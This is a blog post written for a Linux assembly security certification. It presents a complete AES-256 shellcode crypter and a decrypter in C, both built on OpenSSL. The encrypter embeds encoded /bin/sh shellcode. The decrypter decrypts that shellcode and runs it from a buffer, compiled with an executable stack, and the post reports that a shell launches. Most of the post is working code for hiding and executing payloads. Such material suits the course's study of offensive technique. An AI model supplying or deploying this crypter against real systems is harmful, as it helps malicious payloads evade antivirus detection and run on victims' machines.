Posts Tagged crypter
Assignment 7: Shellcode Crypter
Posted by msstavros645 in Shellcode on February 8, 2015
Create a custom crypter. You may use any encryption schema, and the programming language of your choice.
For this assignment, we will create an AES shellcode crypter. I have chosen to use the EVP family of functions, which are provided by openssl library. These offer a high level interface to the various encryption schemes implemented by openssl, and is better to use it, instead of writing our own implementation of AES. Of course, that means that we are introducing a dependency for those libraries to be present on the system executing the decrypter. This is rather safe to assume, as libcrypto is probably universally present.
We will use AES-256, in counter mode (CTR). The key will be 256bits in size. Instead of manually generating this, we can use a HASH function to generate a hash, for a string of our choice. For example:
The output of the hash function will then become our key used in AES. For the initial vector value (IV) we will use a random 16 byte value, generated again with the help of openssl functions. This will be different every time the encrypter executes, and will need to be fed into the decrypter to properly decrypt our shellcode.
The following listing presents the encrypter program:
// aes shellcode crypter
// compile: gcc encshellcode.c -lcrypto -o encshellcode
//
// INPUT: shellcode
// key
// OUTPUT: IV
// encrypted shellcode
// StudentID: SLAE645
#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{
printf("\\x%02x", arr[i]);
}
printf("\n");
}
int main()
{
EVP_CIPHER_CTX ctx;
// <><><> Input the shellcode to be encrypted
unsigned char shellcode[]=\
"\xeb\x0d\x5e\x31\xc9\xb1\x19\x80\x36\xaa\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff\x9b\x6a\xfa\xc2\x85\x85\xd9\xc2\xc2\x85\xc8\xc3\xc4\x23\x49\xfa\x23\x48\xf9\x23\x4b\x1a\xa1\x67\x2a";
// <><><> Input the key for encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";
unsigned char iv[EVP_MAX_IV_LENGTH]="";
unsigned char out[sizeof(shellcode)];
unsigned char decout[sizeof(out)];
int declen1, declen2;
int outlen1, outlen2;
RAND_bytes(iv, EVP_MAX_IV_LENGTH);
printf ("[*] IV used for encryption:\n");
print_bytes(iv, sizeof(iv));
printf("\n");
EVP_EncryptInit(&ctx, EVP_aes_256_ctr(), key, iv);
EVP_EncryptUpdate(&ctx, out, &outlen1, shellcode, sizeof(shellcode)-1);
EVP_EncryptFinal(&ctx, out + outlen1, &outlen2);
printf("[*] We have read %d bytes of shellcode, and generated %d bytes of encrypted output\n\n", sizeof(shellcode)-1, outlen1+outlen2);
printf(" --- Encrypted shellcode ---\n");
print_bytes(out, sizeof(out)-1);
printf("\n");
printf(" --- Hex-dump of encrypted shellcode ---\n");
BIO_dump_fp(stdout, out, sizeof(out)-1);
EVP_CIPHER_CTX_cleanup(&ctx);
printf("\n --- Decryption routine (check) ---\n");
EVP_CIPHER_CTX ctx2;
EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, out, sizeof(out)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);
EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
return 0;
}
We need to provide the shellcode we want to encrypt, and the key. Compile and execute:
The encrypted shellcode is generated, along with the IV that was used for this run. At the bottom, the program perfroms a decryption, just as a check to see what the decrypted code will look like.
If we execute the program again, a different IV is generated and of course a different encrypted shellcode:
We can now write the decrypter program. We will use the IV and encrypted output from the last run of our encrypter. The code is presented below:
// aes shellcode decrypter and execution
// compile: gcc decshellcode.c -lcrypto -fno-stack-protector -zexecstack -o decshellcode
//
// INPUT: encrypted shellcode
// key
// IV
// OUTPUT: shellcode (executed)
// StudentID: SLAE645
#include <stdio.h>
#include <openssl/evp.h>
#include <openssl/rand.h>
void print_bytes (unsigned char arr[], int size)
{
int i;
for (i = 0; i < size; i++)
{
printf("\\x%02x", arr[i]);
}
printf("\n");
}
int main()
{
EVP_CIPHER_CTX ctx2;
// <><><> Input the encrypted shellcode generated from encshellcode executable
unsigned char encshellcode[]=\
"\x2c\xf5\xc7\xd9\x13\x1b\xd4\x3e\x13\x5e\xf9\xc0\xea\x7e\x14\xce\x8a\xc4\xe7\x6e\x6f\x52\x0e\x28\x5b\xe7\x2c\x94\x70\x43\x35\x10\x80\x74\xf8\x33\x1e\x1f\xc7\x74\x0e\xc8\x04\xb4\xeb";
// <><><> Input the key you used during encryption
// max length 64 characters (512 bits), we will use 32 (256 bits)
// echo "slae" | sha256sum -->> 825283f16463886dfd671599fb0aa61345e65f5ec8d46d2818ea9e56fe471f37
unsigned char key[EVP_MAX_KEY_LENGTH] = "\x82\x52\x83\xf1\x64\x63\x88\x6d\xfd\x67\x15\x99\xfb\x0a\xa6\x13\x45\xe6\x5f\x5e\xc8\xd4\x6d\x28\x18\xea\x9e\x56\xfe\x47\x1f\x37";
// <><> <> Input the IV generated during encryption
unsigned char iv[EVP_MAX_IV_LENGTH]="\xc7\x4d\x24\xf7\xf0\x1b\xd0\xb0\xa2\xc2\x6d\x25\x84\x8b\x54\x2f";
unsigned char decout[sizeof(encshellcode)];
int declen1, declen2;
int (*ret)() = (int(*)())decout;
EVP_DecryptInit(&ctx2, EVP_aes_256_ctr(), key, iv);
EVP_DecryptUpdate(&ctx2, decout, &declen1, encshellcode, sizeof(encshellcode)-1);
EVP_DecryptFinal(&ctx2, decout + declen1, &declen2);
printf("[*] We have read %d bytes, and generated %d bytes of decrypted output\n", sizeof(encshellcode)-1, declen1+declen2);
printf("\n --- Decrypted shellcode dump ---\n");
BIO_dump_fp(stdout, decout, sizeof(decout)-1);
EVP_CIPHER_CTX_cleanup(&ctx2);
EVP_cleanup();
CRYPTO_cleanup_all_ex_data();
printf("\n");
print_bytes(decout, sizeof(decout)-1);
printf("Calling decrypted code...\n\n");
ret();
printf("\n\n");
return 0;
}
Compile and run the decrypter:
The shellcode is decrypted and run, a new /bin/sh is launched.
We can examine the libraries that our decrypter uses via the ldd command:
Alternatively, we can load it into gdb, and execute “info sharedlibrary”
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student-ID: SLAE-645






Recent Comments